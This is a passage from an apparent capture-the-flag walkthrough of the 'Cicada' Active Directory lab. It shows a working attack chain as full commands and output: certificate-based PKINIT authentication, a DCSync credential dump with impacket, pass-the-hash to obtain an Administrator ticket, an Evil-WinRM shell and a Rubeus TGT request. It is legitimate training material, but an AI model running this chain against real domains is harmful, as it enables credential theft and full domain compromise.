[+] Certificate in PKCS12: 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
Save the resulting base64-encoded certificate on your Linux VM and swap back the VPN:
echo -ne 'MIACAQMwgAYJKoZI...YXdovSkEFBKbgpS6xeKbK9DaHGZVKzo91TW/AgIEAAAA' | base64 -d > cert.p12
Authenticate via PKINIT:
$ certipy-ad auth -pfx cert.p12 -dc-ip 10.10.98.13 -domain cicada.vl
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: dc-jpq225$@cicada.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc-jpq225.ccache'
[*] Trying to retrieve NT hash for 'dc-jpq225$'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:6a938602aabe1731908b07e46a57b262
Export the credential cache to set our Kerberos authentication global variable to be directed to this ticket:
$ export KRB5CCNAME=dc-jpq225.ccache
Double check:
$ klist
Ticket cache: FILE:dc-jpq225.ccache
Default principal: dc-jpq225$@CICADA.VL
Valid starting Expires Service principal
10/06/24 13:52:31 10/06/24 23:52:31 krbtgt/CICADA.VL@CICADA.VL
renew until 10/07/24 13:52:20
In order to make kerberos authentication work from our non-domain joined linux machine, we use the following krb5.conf (apt install krb5-user):
[libdefaults]
default_realm = CICADA.VL
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
dns_canonicalize_hostname = false
dns_lookup_realm = false
dns_lookup_kdc = true
k5login_authoritative = false
[realms]
CICADA.VL = {
kdc = dc-jpq225.cicada.vl
admin_server = cicada.vl
default_domain = cicada.vl
}
[domain_realm]
.cicada.vl = CICADA.VL
Perform a dcsync attack using this ticket:
Focus on Administrator account only:
$ impacket-secretsdump -k -no-pass -dc-ip dc-jpq225.cicada.vl cicada.vl/dc-jpq225\$@cicada.vl@dc-jpq225.cicada.vl -just-dc-user administrator
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a
Administrator:aes128-cts-hmac-sha1-96:926e5da4d5cd0be6e1cea21769bb35a4
Administrator:des-cbc-md5:fd2a29621f3e7604
[*] Cleaning up...
Full DCSync:
$ impacket-secretsdump -k -no-pass -dc-ip dc-jpq225.cicada.vl cicada.vl/dc-jpq225\$@cicada.vl@dc-jpq225.cicada.vl
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8dd165a43fcb66d6a0e2924bb67e040c:::
cicada.vl\Shirley.West:1104:aad3b435b51404eeaad3b435b51404ee:ff99630bed1e3bfd90e6a193d603113f:::
cicada.vl\Jordan.Francis:1105:aad3b435b51404eeaad3b435b51404ee:f5caf661b715c4e1435dfae92c2a65e3:::
cicada.vl\Jane.Carter:1106:aad3b435b51404eeaad3b435b51404ee:7e133f348892d577014787cbc0206aba:::
cicada.vl\Joyce.Andrews:1107:aad3b435b51404eeaad3b435b51404ee:584c796cd820a48be7d8498bc56b4237:::
cicada.vl\Daniel.Marshall:1108:aad3b435b51404eeaad3b435b51404ee:8cdf5eeb0d101559fa4bf00923cdef81:::
cicada.vl\Rosie.Powell:1109:aad3b435b51404eeaad3b435b51404ee:ff99630bed1e3bfd90e6a193d603113f:::
cicada.vl\Megan.Simpson:1110:aad3b435b51404eeaad3b435b51404ee:6e63f30a8852d044debf94d73877076a:::
cicada.vl\Katie.Ward:1111:aad3b435b51404eeaad3b435b51404ee:42f8890ec1d9b9c76a187eada81adf1e:::
cicada.vl\Richard.Gibbons:1112:aad3b435b51404eeaad3b435b51404ee:d278a9baf249d01b9437f0374bf2e32e:::
cicada.vl\Debra.Wright:1113:aad3b435b51404eeaad3b435b51404ee:d9a2147edbface1666532c9b3acafaf3:::
DC-JPQ225$:1000:aad3b435b51404eeaad3b435b51404ee:6a938602aabe1731908b07e46a57b262:::
DESKTOP-CJSR3CN$:3101:aad3b435b51404eeaad3b435b51404ee:bd696f7a9a7ce9794c1ad91d5da91d24:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a
Administrator:aes128-cts-hmac-sha1-96:926e5da4d5cd0be6e1cea21769bb35a4
Administrator:des-cbc-md5:fd2a29621f3e7604
krbtgt:aes256-cts-hmac-sha1-96:ed5b82d607535668e59aa8deb651be5abb9f1da0d31fa81fd24f9890ac84693d
krbtgt:aes128-cts-hmac-sha1-96:9b7825f024f21e22e198e4aed70ff8ea
krbtgt:des-cbc-md5:2a768a9e2c983e31
cicada.vl\Shirley.West:aes256-cts-hmac-sha1-96:3f3657fb6f0d441680e9c5e0c104ef4005fa5e79b01bbeed47031b04a913f353
cicada.vl\Shirley.West:aes128-cts-hmac-sha1-96:cd16a8664de29a4e8bd9e8b492f3eef9
cicada.vl\Shirley.West:des-cbc-md5:abbf341664bafe76
cicada.vl\Jordan.Francis:aes256-cts-hmac-sha1-96:ec8aaa2c9432ed3b0d2834e4e24dc243ec8d77ec3488101e79d1b2cc1c2ee6ea
cicada.vl\Jordan.Francis:aes128-cts-hmac-sha1-96:0b551142246edc108a92913e46852404
cicada.vl\Jordan.Francis:des-cbc-md5:a2e53d6ea44ab6e9
cicada.vl\Jane.Carter:aes256-cts-hmac-sha1-96:bb04095d1884439b825a5606dd43aadfd2a8fad1386b3728b9bad582efd5d4aa
cicada.vl\Jane.Carter:aes128-cts-hmac-sha1-96:8a27618e7036a49fb6e371f2e7af649e
cicada.vl\Jane.Carter:des-cbc-md5:340eda8962cbadce
cicada.vl\Joyce.Andrews:aes256-cts-hmac-sha1-96:7ca8317638d429301dfbb88af701fadffbc106d31f79a4de7e8d35afbc2d30c4
cicada.vl\Joyce.Andrews:aes128-cts-hmac-sha1-96:6ec2495dea28c09cf636dd8b080012fd
cicada.vl\Joyce.Andrews:des-cbc-md5:6bf2b6f21fcda258
cicada.vl\Daniel.Marshall:aes256-cts-hmac-sha1-96:fcccb590bac0a888898461247fbb3ee28d282671d8491e0b0b83ac688c2a29d6
cicada.vl\Daniel.Marshall:aes128-cts-hmac-sha1-96:80a3b053500586eefd07d32fc03e3849
cicada.vl\Daniel.Marshall:des-cbc-md5:e0fbdcb3c7e9f154
cicada.vl\Rosie.Powell:aes256-cts-hmac-sha1-96:54de41137f8d37d4a6beac1638134dfefa73979041cae3ffc150ebcae470fce5
cicada.vl\Rosie.Powell:aes128-cts-hmac-sha1-96:d01b3b63a2cde0d1c5e9e0e4a55529a4
cicada.vl\Rosie.Powell:des-cbc-md5:6e70b9a41a677a94
cicada.vl\Megan.Simpson:aes256-cts-hmac-sha1-96:cdb94aaf5b15465371cbe42913d652fa7e2a2e43afc8dd8a17fee1d3f142da3b
cicada.vl\Megan.Simpson:aes128-cts-hmac-sha1-96:8fd3f86397ee83ed140a52bdfa321df0
cicada.vl\Megan.Simpson:des-cbc-md5:587032806b5d19b6
cicada.vl\Katie.Ward:aes256-cts-hmac-sha1-96:829effafe88a0a5e17c4ccf1840f277327309b2902aeccc36625ac51b8e936bc
cicada.vl\Katie.Ward:aes128-cts-hmac-sha1-96:585264bc071354147db5b677be13506b
cicada.vl\Katie.Ward:des-cbc-md5:01801aa2e5755898
cicada.vl\Richard.Gibbons:aes256-cts-hmac-sha1-96:3c3beb85ec35003399e37ae578b90ae7a65b4ec7305e0ac012dbeaaa41bcbe22
cicada.vl\Richard.Gibbons:aes128-cts-hmac-sha1-96:646557f4143182bda5618f95429f3a49
cicada.vl\Richard.Gibbons:des-cbc-md5:834a675bd058efd0
cicada.vl\Debra.Wright:aes256-cts-hmac-sha1-96:26409e8cc8f3240501db7319bd8d8a2077d6b955a8f673b9ccf7d9086d3aec62
cicada.vl\Debra.Wright:aes128-cts-hmac-sha1-96:6a289ddd9a1a2196b671b4bbff975629
cicada.vl\Debra.Wright:des-cbc-md5:f25eb6a4265413cb
DC-JPQ225$:aes256-cts-hmac-sha1-96:a881fa3131f8ee258f613ac60c980d7cb435099ff4ccec8a7709c80a3abe0e26
DC-JPQ225$:aes128-cts-hmac-sha1-96:1493657e7964dd6bb0cb11e25d15baf6
DC-JPQ225$:des-cbc-md5:49b994910d4a3207
DESKTOP-CJSR3CN$:aes256-cts-hmac-sha1-96:bdddc04b0050cff2d87704a038b477804681fdb03f8e055262a9e57869daf273
DESKTOP-CJSR3CN$:aes128-cts-hmac-sha1-96:b4f8c2fae58ea08a7e53c2e0646cec9c
DESKTOP-CJSR3CN$:des-cbc-md5:2938680d4651ec1f
[*] Cleaning up...
Get a ticket for the administrator user:
$ impacket-getTGT -hashes ':85a0da53871a9d56b6cd05deda3a5e87' -dc-ip dc-jpq225.cicada.vl cicada.vl/administrator
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Saving ticket in administrator.ccache
Export the credential cache to set our Kerberos authentication global variable to be directed to this ticket:
$ export KRB5CCNAME=administrator.ccache
Double check:
$ klist
Ticket cache: FILE:administrator.ccache
Default principal: administrator@CICADA.VL
Valid starting Expires Service principal
10/06/24 14:36:31 10/07/24 00:36:31 krbtgt/CICADA.VL@CICADA.VL
renew until 10/07/24 14:36:32
Get the Cicada_Root flag using Kerberos authentication as NTLM has been deactivated:
Try with Netexec as usual but error:
$ nxc winrm dc-jpq225.cicada.vl --use-kcache --kdcHost dc-jpq225.cicada.vl -X 'type C:\Users\Administrator\Desktop\root.txt'
[15:06:45] ERROR Exception while calling proto_flow() on target dc-jpq225.cicada.vl: ("Unpacked data doesn't match constant value connection.py:174
'b')\\xea\\xdbz\\xba,'' should be ''NTLMSSP\\x00''", 'When unpacking field \' | "NTLMSSP\x00 |
b\')\\xea\\xdbz\\xba,\'[:8]\'')
Double check for LDAP with Kerberos authentication:
$ nxc ldap dc-jpq225.cicada.vl --use-kcache --kdcHost dc-jpq225.cicada.vl
LDAP 10.10.98.13 389 DC-JPQ225.cicada.vl [*] x64 (name:DC-JPQ225.cicada.vl) (domain:cicada.vl) (signing:True) (SMBv1:False)
LDAP 10.10.98.13 389 DC-JPQ225.cicada.vl [+] cicada.vl\Administrator from ccache
That works so seems Netexec has a bug when using Kerberos for authantication WinRM.
Then we switch to Evil-WinRM:
evil-winrm -r cicada.vl --ip DC-JPQ225.cicada.vl
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS Microsoft.PowerShell.Core\FileSystem::\\dc-jpq225\profiles$\Administrator\Documents>
*Evil-WinRM* PS Microsoft.PowerShell.Core\FileSystem::\\dc-jpq225\profiles$\Administrator\Documents> cd C:\
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/13/2024 8:17 AM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d----- 9/15/2024 6:18 AM profiles
d-r--- 9/13/2024 9:14 AM Program Files
d----- 9/13/2024 9:14 AM Program Files (x86)
d----- 9/15/2024 6:24 AM StorageReports
d-r--- 9/15/2024 6:26 AM Users
d----- 9/15/2024 12:51 AM Windows
*Evil-WinRM* PS C:\> cd Users
*Evil-WinRM* PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/13/2024 9:10 AM Administrator
d-r--- 9/13/2024 3:21 AM Public
*Evil-WinRM* PS C:\Users> cd Administrator/Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/15/2024 6:26 AM 2304 Microsoft Edge.lnk
-a---- 9/13/2024 3:59 AM 36 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
VL{52e815961ba203dee49f562af8f1879b}
If we want to do it without the domain join (for our Windows 10 VM), we need to still run the VPN on Windows, setup the DNS and then:
- Request a TGT for rosie.powell
- Request a service ticket for RPCSS (otherwise you’d get “The RPC server is unavailable”)
C:\Users\01214830\Downloads>Rubeus.exe asktgt /user:rosie.powell /domain:cicada.vl /password:Cicada123 /dc:10.10.98.13 /ptt /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: FF99630BED1E3BFD90E6A193D603113F
[*] Building AS-REQ (w/ preauth) for: 'cicada.vl\rosie.powell'
[*] Using domain controller: 10.10.98.13:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFoDCCBZygAwIBBaEDAgEWooIEujCCBLZhggSyMIIErqADAgEFoQsbCUNJQ0FEQS5WTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJY2ljYWRhLnZso4IEeDCCBHSgAwIBEqEDAgECooIEZgSCBGJpuQG7DOWOFIOwR1loVPfQIE2tQA627meQeHWH2OHOwIxQzQng1ELTJ9qFvhtp/q+cXxlXScNeTLhX1+Vr/C9YBiKeqpIeLFdkiSMJqng67nhtiFldtpoc4Q2dk165cVchVKe1StFwpevdMFIDYBSuSNVde0nxiGi+vMmch5AMGvEQ7pCkZTNS+tBcHdvNmX/Xdk3Ktlu0w7AGYiixPLlAIqpN4fOdXkxcARX7KkP2fczInJAmJ8Fk8XOA+xVA1kVfe2yLtYPnDtAxkykftllSjgbae0rvMEbIRbgqTOJTDmktNvTHOYD+xnQahb3MFUJ8IV4oXNkBAZjgCgQIvFid5LBKAzGIBwzMtpguVf8VDXG5etqG0ulCjui8PfmxTxLDwJEGczoYx4O0SoHEetchRYVMs2ykNXP0tXhPowoQHDzV0z1F3UU0Ho+X5E+iQPBtV8Yzu6hgLDLsI0ODYj/KeUjfbc5WalFjeD2deN5bMxxhrM6uAMkWD0Lhnb9A0JZYfVppacG9crJ9egIcM0hDT7IW9pLPV8IcW0Vpf6RaErF7Ere4EJD2aCo7joXPIGbp9RNw1PElG98SKcwHMKk7OLMxbyZw0U5AbUxsgYlHNMjijEqQDavv8RlbnvJRqO1d/Qu+y6SoBAl1wc66xRXygg9g5Jw9w1Brx4jzgaoamlVxtfMy54nuE1gtceJH28Akr90Q+3GS1cNlmb//XFjnzNSZzyj3VFh637+7ZrvLPwdGVVO2OjX1xgA7rxzRNCmk6FYOEXp+2PlcCXKT2f4F+Oh+5YU1wGHGFR+YnlPMbAfX0GeHcuTJJ0yailRfvGz3znHdNNCTlWTSvetcijpsZDe1EKiOOMj/bzRk/YfovM/xpJj9x0AvKeamYc5bRCp7x+mIsUcAJjiRtHgpKRC8R7bzIrWLWt5AqNf7EOACn0zp1KopwETlej2pia5c3zqAkqTX0LfqN4zgdlgIaiq9JpyY77agiMgf3JLjbveQHUGkEq8SjYc3ITbUXm1TSj0bbL/nArcGxx4xmfypQcKfcDCZprJ2FmTbx6gcMfSBYeaaoIjFIsz395sxrtejyUAosPxnNmyKi774rNe7PGJq4mKlNKFMmSoNV43o1DEEgg5F162gSFzqGGgXPiafdM/6BEW+wxhd81dztxbx2DXuXype5j9eemdGuLNVWEuyeRjIQhbfLe5b2qxHtdk2zK/rqDQXtkypQA2oU+FkMqxSwMqeZ4hjPkxedfqydrwx1VZVWuRd7R3xe368A82kxW7k2tzd5kUhbt+z4aqHsgDn7hXKWMgtZc0Bk+4n9nyX/t1I4Eu/VnkUpasG3S0f8CeRjE+FQLhHreCzq4xsElhxNyB1c9HKZwsuQEQQiELyVQKasHbNKZouXZkCQSwrpKYLSTCqKtkyuaPbSb+VCyoXOo5YxIT45J03wp1Rt+cefHd40D7uX1SoQEL0yt65wD7pgiEcYcEKsK6S++Bf+C2cFzyjgdEwgc6gAwIBAKKBxgSBw32BwDCBvaCBujCBtzCBtKAbMBmgAwIBF6ESBBBz3eLEjCM0Z10hKLqf2mTNoQsbCUNJQ0FEQS5WTKIZMBegAwIBAaEQMA4bDHJvc2llLnBvd2VsbKMHAwUAQOEAAKURGA8yMDI0MTAwNjAzNTgxN1qmERgPMjAyNDEwMDYxMzU4MTdapxEYDzIwMjQxMDEzMDM1ODE3WqgLGwlDSUNBREEuVkypHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCWNpY2FkYS52bA==
[+] Ticket successfully imported!
ServiceName : krbtgt/cicada.vl
ServiceRealm : CICADA.VL
UserName : rosie.powell
UserRealm : CICADA.VL
StartTime : 06/10/2024 12:58:17
EndTime : 06/10/2024 22:58:17
RenewTill : 13/10/2024 12:58:17
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : c93ixIwjNGddISi6n9pkzQ==
ASREP (key) : FF99630BED1E3BFD90E6A193D603113F
